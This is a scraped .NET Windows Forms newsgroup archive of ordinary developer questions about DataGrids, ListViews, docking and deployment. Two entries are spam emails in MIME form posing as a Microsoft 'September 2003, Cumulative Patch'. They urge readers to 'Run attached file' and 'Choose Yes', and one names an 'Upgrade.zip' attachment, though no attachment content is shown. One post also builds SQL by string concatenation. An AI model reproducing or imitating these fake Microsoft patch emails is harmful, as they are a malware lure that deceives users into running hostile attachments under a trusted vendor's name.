Changing the line colors of a Crystal Report at runtime?

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 - Watch that important patch that came from MS Corporation --rxhswiodf Content-Type: multipart/related; boundary="hzfijlczyx"; type="multipart/alternative" --hzfijlczyx Content-Type: multipart/alternative; boundary="ixxvoqsohaaziav" --ixxvoqsohaaziav Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Client this is the latest version of security update, the "September 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run executable on your system. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. Copyright 2003 Microsoft Corporation. --ixxvoqsohaaziav Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">  <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>   <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A> |  <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A> |  <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A> |  <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>  </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>   </TD> </TR> </TABLE>  <IMG SRC=3D"cid:ahfvjgv" BORDER=3D"0"> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Client this is the latest version of security update, the "September 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run executable on your system. This update includes the functionality = of all previously released patches. </TD></TR> </TABLE> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:ijgffkk" = ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements </TD> <TD NOWRAP>Windows 95/98/Me/2000/NT/XP</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:ijgffkk" = ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to </TD><TD NOWRAP> MS Internet Explorer, version 4.01 and later MS Outlook, version 8.00 and later MS Outlook Express, version 4.01 and later </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:ijgffkk" = ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</TD> <TD NOWRAP>Customers should install the patch = at the earliest opportunity.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:ijgffkk" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</TD> <TD NOWRAP>Run attached file. = Choose Yes on displayed dialog box.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:ijgffkk" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</TD> <TD NOWRAP>You don't need to do = anything after installing this item.</TD> </TR> </TABLE> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> Thank you for using Microsoft products. Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners. </TD></TR></TABLE> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>  |  <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A>  |  <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> ©2003 Microsoft Corporation. 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Tag: 57375
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 - inputbox for C# Hello, Just wondering if there is an equivelant available to C# for quick string input. I am NOT using vb.net so i cant use that version. TIA, Mel Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57374
 - 3
 - Can't disable Add New row at bottom of Datagrid --------------F34FF1FF13222AD377793457 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Based on this post from Clay Burch and the SyncFusion FAQ website, I tried to disable my add new row at the bottom of my datagrid. However the add new row still shows up. When I click on it my app crashes. Can anybody look at the routine I've included at the bottom and tell me what I did wrong? Thanks, Steve Clay's Post: You can do this by getting at a dataview associated with the datagrid, and setting its AllowNew member. Here is one way you can do this. CurrencyManager cm = (CurrencyManager)this.BindingContext[dataGrid1.DataSource, dataGrid1.DataMember]; //no adding of new rows ((DataView)cm.List).AllowNew = false; =================================== Clay Burch Syncfusion, Inc. My Routine: private void loadMessagesDataGrid(ref DataTable msgsDataTable) { DateTime startDateTime = DateTime.Now.AddDays(-1); string messagesSelectStr = "SELECT id, fldtimestamp, "+ "payload, direction, state, transNum, port "+ "FROM messages "+ "WHERE port = "+Port+" "+ "AND fldtimestamp > #"+startDateTime+"# "+ "ORDER BY fldtimestamp DESC"; // Create data adapter objects MessagesDataAdapter = new OleDbDataAdapter(messagesSelectStr, Db.getConnection()); MessagesDataAdapter.TableMappings.Add("Table1", "messages"); createMessagesInsertAndUpdateCommands(MessagesDataAdapter, Db); try { MessagesDataAdapter.Fill(dgDataSet, "messages"); } catch (Exception ex) { Log.WriteLine("Exception Filling messagesDataAdapter: "+ex.Message); return; } DataGridTableStyle messagesStyle = null; try { messagesStyle = new DataGridTableStyle(); messagesStyle.MappingName = "messages"; } catch (Exception ex) { Log.WriteLine("Exception getting DataGridTableStyle: "+ex.Message); return; } // HERE IS THE FIRST LINE SUGGESTED BY SYNCFUSION CurrencyManager cm = (CurrencyManager)BindingContext[dgDataSet, "messages"]; try { int numCols = dgDataSet.Tables["messages"].Columns.Count; DataGridColoredTextBoxColumn aColumnTextColumn ; for(int i = 0; i < numCols; ++i) { aColumnTextColumn = new DataGridColoredTextBoxColumn(this); aColumnTextColumn.HeaderText = dgDataSet.Tables["messages"].Columns[i].ColumnName; aColumnTextColumn.MappingName = dgDataSet.Tables["messages"].Columns[i].ColumnName; if(i == 1) // fldtimestamp { aColumnTextColumn.Format = "g"; } messagesStyle.GridColumnStyles.Add(aColumnTextColumn); } messagesStyle.GridColumnStyles["fldtimestamp"].Width = 110; messagesStyle.GridColumnStyles["payload"].Width = 250; messagesStyle.GridColumnStyles["direction"].Width = 0; messagesStyle.GridColumnStyles["state"].Width = 75; messagesStyle.GridColumnStyles["transNum"].Width = 0; messagesStyle.GridColumnStyles["port"].Width = 0; messagesDataGrid.TableStyles.Clear(); messagesDataGrid.TableStyles.Add(messagesStyle); // HERE IS THE SECOND LINE SUGGESTED BY SYNCFUSION ((DataView)cm.List).AllowNew = false; } catch (Exception ex) { Log.WriteLine("Exception setting up TableStyles: "+ex.Message); return; } // bind messages data grid with messages data table try { msgsDataTable = dgDataSet.Tables["messages"]; messagesDataGrid.DataSource = msgsDataTable; msgsDataTable.DefaultView.Sort = "fldtimestamp DESC"; } catch (Exception ex) { Log.WriteLine("Exception: "+ex.Message); } } --------------F34FF1FF13222AD377793457 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <body text="#000000" bgcolor="#FFFFFF" link="#0000EE" vlink="#551A8B" alink="#FF0000">   Based on this post from Clay Burch and the SyncFusion FAQ website, I tried to disable my add new row at the bottom of my datagrid.  However the add new row still shows up.  When I click on it my app crashes.  Can anybody look at the routine I've included at the bottom and tell me what I did wrong? Thanks, Steve Clay's Post: You can do this by getting at a dataview associated with the datagrid, and setting its AllowNew member. Here is one way you can do this.   CurrencyManager cm = (CurrencyManager)this.BindingContext[dataGrid1.DataSource, dataGrid1.DataMember]; //no adding of new rows ((DataView)cm.List).AllowNew = false; =================================== Clay Burch Syncfusion, Inc. My Routine:   private void loadMessagesDataGrid(ref DataTable msgsDataTable)   {    DateTime startDateTime = DateTime.Now.AddDays(-1);    string messagesSelectStr = "SELECT id, fldtimestamp, "+     "payload, direction, state, transNum, port "+     "FROM messages "+     "WHERE port = "+Port+" "+     "AND fldtimestamp > #"+startDateTime+"# "+     "ORDER BY fldtimestamp DESC";    // Create data adapter objects    MessagesDataAdapter = new OleDbDataAdapter(messagesSelectStr, Db.getConnection());    MessagesDataAdapter.TableMappings.Add("Table1", "messages");    createMessagesInsertAndUpdateCommands(MessagesDataAdapter, Db);    try    {     MessagesDataAdapter.Fill(dgDataSet, "messages");    }    catch (Exception ex)    {     Log.WriteLine("Exception Filling messagesDataAdapter: "+ex.Message);     return;    }    DataGridTableStyle messagesStyle = null;    try    {     messagesStyle = new DataGridTableStyle();     messagesStyle.MappingName = "messages";    }    catch (Exception ex)    {     Log.WriteLine("Exception getting DataGridTableStyle: "+ex.Message);     return;    }   // HERE IS THE FIRST LINE SUGGESTED BY SYNCFUSION    CurrencyManager cm = (CurrencyManager)BindingContext[dgDataSet, "messages"];    try    {     int numCols = dgDataSet.Tables["messages"].Columns.Count;     DataGridColoredTextBoxColumn aColumnTextColumn ;     for(int i = 0; i < numCols; ++i)     {      aColumnTextColumn = new DataGridColoredTextBoxColumn(this);      aColumnTextColumn.HeaderText = dgDataSet.Tables["messages"].Columns[i].ColumnName;      aColumnTextColumn.MappingName = dgDataSet.Tables["messages"].Columns[i].ColumnName;      if(i == 1) // fldtimestamp      {       aColumnTextColumn.Format = "g";      }      messagesStyle.GridColumnStyles.Add(aColumnTextColumn);     }     messagesStyle.GridColumnStyles["fldtimestamp"].Width = 110;     messagesStyle.GridColumnStyles["payload"].Width = 250;     messagesStyle.GridColumnStyles["direction"].Width = 0;     messagesStyle.GridColumnStyles["state"].Width = 75;     messagesStyle.GridColumnStyles["transNum"].Width = 0;     messagesStyle.GridColumnStyles["port"].Width = 0;     messagesDataGrid.TableStyles.Clear();     messagesDataGrid.TableStyles.Add(messagesStyle); // HERE IS THE SECOND LINE SUGGESTED BY SYNCFUSION     ((DataView)cm.List).AllowNew = false;    }    catch (Exception ex)    {     Log.WriteLine("Exception setting up TableStyles: "+ex.Message);     return;    }    // bind messages data grid with messages data table    try    {     msgsDataTable = dgDataSet.Tables["messages"];     messagesDataGrid.DataSource = msgsDataTable;     msgsDataTable.DefaultView.Sort = "fldtimestamp DESC";    }    catch (Exception ex)    {     Log.WriteLine("Exception: "+ex.Message);    }   }   </body> </html> --------------F34FF1FF13222AD377793457-- Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57371
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 - Tab Control with Combo Box I have a windows form that contains a tab control. On one of the tabs I have a combo box bound to a datatable. When I first enter the tab I initialize the selectedindex of the combobox to -1. I then type text into the combo box that does not match any entries in the dropdown list. If I then choose a different tab and return to my tab with the combo box, the selectedindex has been changed to 0 and the text I entered is replaced with the text from list item 0. Why does the combo box not retain a selectedindex of -1 with the text I entered? How can I correct this? Thank You, Don Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57370
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 - Help with ListView I am trying to get data from a CollectionBase derived class into a ListView. Currently the output is one continuous line of data that is of Boolean type e.g. True True False True False False False True . No other data or header information is displayed. public class RecFormCtxSaved { private Boolean enabled; private Boolean selected; private string column; private string text; } private void createListView() { ListViewItem lvi; this.listView1.Columns.Add("Enable", 50, HorizontalAlignment.Left); this.listView1.Columns.Add("Select", 50, HorizontalAlignment.Left); this.listView1.Columns.Add("Column", 50, HorizontalAlignment.Left); this.listView1.Columns.Add("Text", 50, HorizontalAlignment.Left); foreach (RecFormCtxSaved rec in coll) { lvi = new ListViewItem(); lvi.Text = rec.Enabled.ToString(); lvi.SubItems.Add(rec.Selected.ToString()); lvi.SubItems.Add(rec.Column); lvi.SubItems.Add(rec.Text); this.listView1.Items.Add(lvi); } } Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57367
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 - Wish List Item - Slim CLR For Download For Java code, there is a "slim" download from Sun that contains just enough code to host an applet plus the capability to download other classes/jars as needed. There are seperate options from Sun (SDK download containing jar.exe, etc) for those that need more. I wish the same could be done for the .NET CLR; I would like to host "C# applets" in my web pages, but a 20mb download plus a reboot is a lot to ask. Why can't Microsoft distribute a "slim" CLR download weighing in around 5mb that just contains the base classes for XML, Remoting, System.Data, and WinForms, a "medium" one with some more features, and still distribute the full sized one?" Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57366
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 - OpenFileDialog ShowDialog hangs Hi there, has anyone run into this problem? I have a simple winforms app that uses the OpenFileDialog to open a file. If I choose to open a file from a different machine on my network everything is fine. However, if I now close down my app and shutdown the other machine and try again the OpenFileDialog hangs. The call stack shows that it is waiting in RunFileDialog. It looks as though the app persists the current directory somewhere, but runs into trouble when that path is no longer available. When I try the same thing with Word it goes back to My Documents when the network path is not available. Any ideas? Thanks, Tom Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57365
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 - Lock fields Hi I am trying to lock fields on my form (VB.NET), so that they cannot be edited by the user. So far I have accomplished my goal for the text box by setting its read only property. But what should I do for combo box and mask edit box (added as an reference). list box etc. I don't want to use the enabled property, since that makes the controls text to fade or not seen prominently. Does anyone know how can we achieve this in VB.NET ?? Thanks *** Sent via Developersdex http://www.developersdex.com *** Don't just participate in USENET...get rewarded for it! Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57359
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 - Datagrid question I've a editable datagrid where the user sometimes needs to enter more characters than can be displayed on the screen. The current behavior is, I believe, a bit confusing to the user. When they fill up the visible portion of the cell, the entered text moves left off the screen, leaving the cursor in the left-most position of the cell, ready to accept more data. This is confusing because it appears that the entered text has "disappeared". I'd rather have it behave like a standard textbox, where it scrolls one character at a time when the visible width is reached. Is there a property that controls this behavior? TIA. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57358
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 - No touch deployment - offline question. Hi, I've been reading a lot about no touch deployment and it could be the solution to my design. But I have a question: What happens if the client is not 'connected'? Is there anyway to run the app from the client chache? Where can I find information about that? I've read in some articles on MSDN about this posibility, but I can't find any info about that. Thanks in advance, JOSE Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57350
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 - question on docking (sorry if you see this message twice - I got a "message expired" on my last post) Hi, My GUI is driving me crazy. It's a little complicated, so I'll explain the part that I find troubling: I have a Panel which includes a UserControl of mine. The UserControl is put in the Panel at runtime. Although UserControl has Dock=Fill, resizing the Panel doesn't resize the UserControl. (I check by hitting a breakpoint and using the Immediate window) How is this possible? Is there some other property I should set? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57349
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 - Framework Configuration Hi! As I can make to configure framework with one setup. The configuration that I am to speak is: Control Panel->Administrative Tools->Microsoft .NET Framework 1.1 Configuration: Run Time Security Police->Machine->Code Groups- >All_code->Local_Intranet Zone and to insert a new rule to have permissions to accede to an application that if finds in another machine. thx, David Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57348
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 - dll version When I call a class in a dll from an application, how do I tell the version of the dll as oposed to the application calling the dll? Andrew Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57346
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 - RE: Take a look at the internet update --hpdfocqo Content-Type: multipart/related; boundary="tmmrolinjuj"; type="multipart/alternative" --tmmrolinjuj Content-Type: multipart/alternative; boundary="wvclyymatrnd" --wvclyymatrnd Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "September 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express. Install now to maintain the security of your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. 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Install now to maintain the security of your computer. This update includes the functionality = of all previously released patches. </TD></TR> </TABLE> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:bqvbert" = ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements </TD> <TD NOWRAP>Windows 95/98/Me/2000/NT/XP</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:bqvbert" = ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to </TD><TD NOWRAP> MS Internet Explorer, version 4.01 and later MS Outlook, version 8.00 and later MS Outlook Express, version 4.01 and later </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:bqvbert" = ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</TD> <TD NOWRAP>Customers should install the patch = at the earliest opportunity.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:bqvbert" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</TD> <TD NOWRAP>Run attached file. = Choose Yes on displayed dialog box.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:bqvbert" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</TD> <TD NOWRAP>You don't need to do = anything after installing this item.</TD> </TR> </TABLE> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> Thank you for using Microsoft products. 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IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --tmmrolinjuj-- --hpdfocqo Content-Type: application/x-compressed; name="Upgrade.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --hpdfocqo-- Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57345
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 - basic question on docking Hi, My GUI is driving me crazy. It's a little complicated, so I'll explain the part that I find troubling: I have a Panel which includes a UserControl of mine. The UserControl is put in the Panel at runtime. Although UserControl has Dock=Fill, resizing the Panel doesn't resize the UserControl. (I check by hitting a breakpoint and using the Immediate window) How is this possible? Is there some other property I should set? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57344
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 - Problem with localized usercontrol Hi i must develop an multilanguage application (german, italian). I have a localized winform with the description in this 2 languages. Now i have a Usercontrol which is localized too. If i would like drag this usercontrol from the toolbox of the vs.net into my winform the vs.net give me the following error: An exception occurred while trying to create an instance of PFUtilityLibrary.USCWeekDaysCheck. The exception was "Could not find any resources appropriate for the specified culture (or the neutral culture) in the given assembly. Make sure "USCWeekDaysCheck.resources" was correctly embedded or linked into assembly "PFUtilityLibrary". baseName: USCWeekDaysCheck locationInfo: PFUtilityLibrary.USCWeekDaysCheck resource file name: USCWeekDaysCheck.resources assembly: PFUtilityLibrary, Version=1.0.1361.25253, Culture=neutral, PublicKeyToken=null I use the Framework 1.0, somebody have an idea what is the problem? thx Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57341
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 - possible listbox BeginUpdate() / EndUpdate() bug? Hi I have the following code which lodes names of=20 wordtemplates into my .NET windowsforms app: -- //lsbTemplate.BeginUpdate(); lsbTemplate.Items.Clear(); =09 System.IO.DirectoryInfo di =3D new System.IO.DirectoryInfo( =20 p_sPathToTemplates ); System.IO.FileInfo[] arFi =3D di.GetFiles( "*(*" +=20 p_sHelpDesk + "*).dot" ); =09 if( arFi.Length =3D=3D 0 ) { lsbTemplate.Sorted =3D false; //lsbTemplate.EndUpdate(); return; } else { lsbTemplate.Sorted =3D true; } =09 foreach( System.IO.FileInfo fi in arFi ) { =09 if( fi.Name.IndexOf( "~" ) < 0 ) {//DO not show templates which include ~ ... lsbTemplate.Items.Add( fi.Name ); } } =09 //lsbTemplate.EndUpdate();=09 --- Notice the calls to BeginUpdate and EndUpdate at the=20 beginning and the end. When theese lines of code are=20 active ( not commented out ) the listbox doesn't show any=20 items if there's only one items loaded. Actually, by=20 clicking the listbox you can click the top item, but there=20 is no text shown. If there are 2 or more items all items=20 show up ok. After commenting out BeginUpdate and EndUpdate the listbox=20 show's this one item ok. I haven't been able to think of any reason for this. I=20 would like to use BeginUpdate and EndUpdate because it=20 boost's GUI performance when updating the listbox, but=20 until this is resolved I will skip them. Any hint's welcomed, best regards, =C1g=FAst from Iceland Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57339
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 - standard commands display text hello, in System.Windows.Forms.Design.MenuCommands is a class StandardCommands with static members for some standard commands iE: StandardCommands.Delete i want my document implement some of these commands and the toolbar show these commands. how can i get culture specific names of these commands (iE: engl. "Delete") ? how can i get the toolbar bitmap? (16x16) Frank Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57338
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 - No Touch Deployment. No Touch Deployment. I use "No Touch Deployment" for my Window Forms application. The question is why my EXE-file is downloaded three times and not just one. My shortcut: C:\WINNT\Microsoft.NET\Framework\v1.1.4322\IEExec.exe http://ozzy/conet/client/bin/co.win.exe?server=ozzy IIS Logfile: cs-method cs-uri-stem cs- uri-query sc-status sc-bytes cs- bytes time-taken GET /conet/client/bin/co.win.exe server=hk0073.config 200 823562 232 16766 GET /conet/client/bin/co.win.exe server=hk0073 200 823562 225 17328 GET /conet/client/bin/CO.Win.DLL - 404 4203 211 0 GET /conet/client/bin/CO.Win/CO.Win.DLL - 404 4203 218 0 GET /conet/client/bin/bin/CO.Win.DLL - 404 4203 215 0 GET /conet/client/bin/bin/CO.Win/CO.Win.DLL - 404 4203 222 0 GET /conet/client/bin/CO.Win.EXE - 200 823562 211 17594 Thanks in advance! Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57337
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 - Update dataset I have a Windows form that does a insert and then a update to a dataset. When I do the insert/update and all the fields are filled in it works fine. But when there is a null value or when the field is empty I get the usual update error. I'm using a Access database and none of the fields are required. I don't want to have to make a seperate object to merge the changes like most of my forms do. VB6 had shortcuts and I would like to use one in VB.NET I want to have a If Then Else or something to use as a shortcut around this. Like: If textbox1 = NULL then skip Else Add textbox1.text = recordset..... I have found limited info on the Null field problem. Something like System.DBNULL In the old way I would do something like a IIF(NULL) etc... Does anybody have any ideas. Thanks. Erik Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57319
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 - .net bug in order of events w/ listview control?? i've found what appears to be a bug and i'm looking for confirmation. as a result of problems i found w/ an application i made, i created a simple vb.net program that includes a single form with a listview control, a text box and a button. i coded events for ENTER and LEAVE for the listview control and textbox. i also coded a SELECTEDINDEXCHANGED event and a CLICKED event for the listview. each event writes to a string that it occurred there is no other code. the button is used to display the string. finally, i hard-coded two items into the listview control. i'm running a windows xp computer with visual studio.net installed and .net 1.1. on that computer, when i run the test program, if i click on item one in the listview control, then click on the text box, then click back to the listview control on item two, the following events occur.... entered listview->clicked on listview->left listview- >entered textbox->left textbox->entered listview- >selected index changed->selected index changed->clicked on listview aside from the SELECTEDINDEXCHANGED event getting called twice, which i dont' understand, it works as i would expect. however, if i run this same program on any other computer (that doesn't have visual studio.net installed), the order of events is different. what i get is... entered listview->clicked on listview->left listview- >entered textbox->selected index changed->selected index changed->left textbox->entered listview->clicked on listview !!! the SELECTEDINDEXCHANGED event gets called before the event for leaving the textbox. what's the deal with this? is this a bug or am i missing something? if it is a bug, it seems like a fairly serious one (for me at least). thanks, glenn Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57317
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 - Column order when binding DataGrid with typed collection I need help for setting the order of columns in a=20 DataGrid populated by binding it with a fixed-type=20 collection of custom objects. Actually I don=B4t even know=20 where to start. The binding was easy and works with a simple myDataGrid.DataSource =3D myCollection; But the order of the columns messes the data; related=20 columns appear separated each other. How can I specify=20 column ordering? Should I change the order in the=20 DataGrid (How?). Or there is a way to make Reflection=20 work automatically on the type to get the properties and=20 fields on the right order, so whenever I bind them with a=20 grid the columns appear in the right place? Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57315
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 - GUI similar to Visual Studio .NET Dear Everybody, I am designing the editor which has very similar GUI to Visual Studio.NET.(Main menu, toolbar, toolbox, Solution Explorer, properties, Editing area, etc). Specially, because this editor handle multiple file format, a file will be open by solution Explorer and correspoding Editor form shoud be opened. As an object is modifid by properties box in VS, so is the object inside file. Is there any similar demo source code? Thanks, Jongmin Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57312
 - 24
 - master detail sub-detail not updating on row click I have a strongly-typed DataSet with 3 DataTables related to one another such that there is a 1-many between master and detail and 1-many between detail and sub-detail. The DataSet is bound to 3 DataGrids -- 1 DataTable per Grid. I bound like this: gridMaster.DataSource = dataset gridMaster.Member = "tableMaster" gridDetail.DataSource = dataset gridDetail.Member = "tableMaster.relateMasterToDetail" gridSubDetail.DataSource = dataset gridSubDetail.Member = "tableMaster.relateDetailToSubDetail" The DataTables are populating with the correct information from the database. Here is the problem: The Sub-detail grid does not refresh with the correct records when the selected rows of the Master and Detail change. Changing rows in the Master grid DOES change the Detail grid to show only those rows that share an ID with the Master grid's current row. However, the sub-detail does not change to show the records related to the new ID selected in the Master and Detail grids. Would greatly appreciate any help on this. Thx. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57306
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 - Control when a new row is added to a datagrid Shortly after one starts entering data on the last row of a datagrid, a blank (*) row is created beneath. How can I control when this happens? For each column (cell) I've added validation. What happens when the blank row is added is that the Leave event of the current cell fires, in turn fireing the Validating event. For now I handle them as exceptions and simple ignore them. But there must a better way!! Regards, Kenneth Bohman Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57299
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 - Determine datagrid's currently sorted column I need to figure out how, in code, to determine a bound datagrid's currently sorted column and then to change it. The result will be used in a context menu with an Arrange By -> list similar to Outlook. Any ideas? Brian Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57295
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 - C#.NET browser cancelling action on loading a page the first time We wrote a small C# web browser stripped of all functionality except for going from link to link to load a webpage we wrote ourselve as well. Everything is working great, except for a really annoying minor problem that must be fixed. For some users under certain access groups (active directory), on some machines, no matter what url we are trying to load, the first webpage loaded with the browser will return an "ACTION CANCELLED" page. For other users (usually ones with more rights), the first webpage will load properly. If we use Internet Explorer to load the webpage, no matter who the users are, the first page will load just fine. Basically, if we get an "Action cancelled" page, we can just hit refresh and it'd load properly. It's like the C#.NET browser is trying to goto a site that doesn't exist and cancels itself. In fact, if we "catches" the "action cancelled" page within the code and then reload the same page, it'd load properly. Any help would be wonderful, thanks in advance. Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57293
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 - Simple event question.... Is it possible to determine whether a SelectIndexChanged event was caused by a user making a selection or something changing in the DataSet to which it is connected? I checked e:EventArgs and sender:Object, but e is empty and I don't see anything helpful in sender. In my event handler for SomeCombo_SelectedIndexChanged, I need to be able to do certain things *only* if it was the user that changed the selection, not if the event is firing because the connected DataSet changed. Thanks! Tag: Changing the line colors of a Crystal Report at runtime? Tag: 57288
 - 4
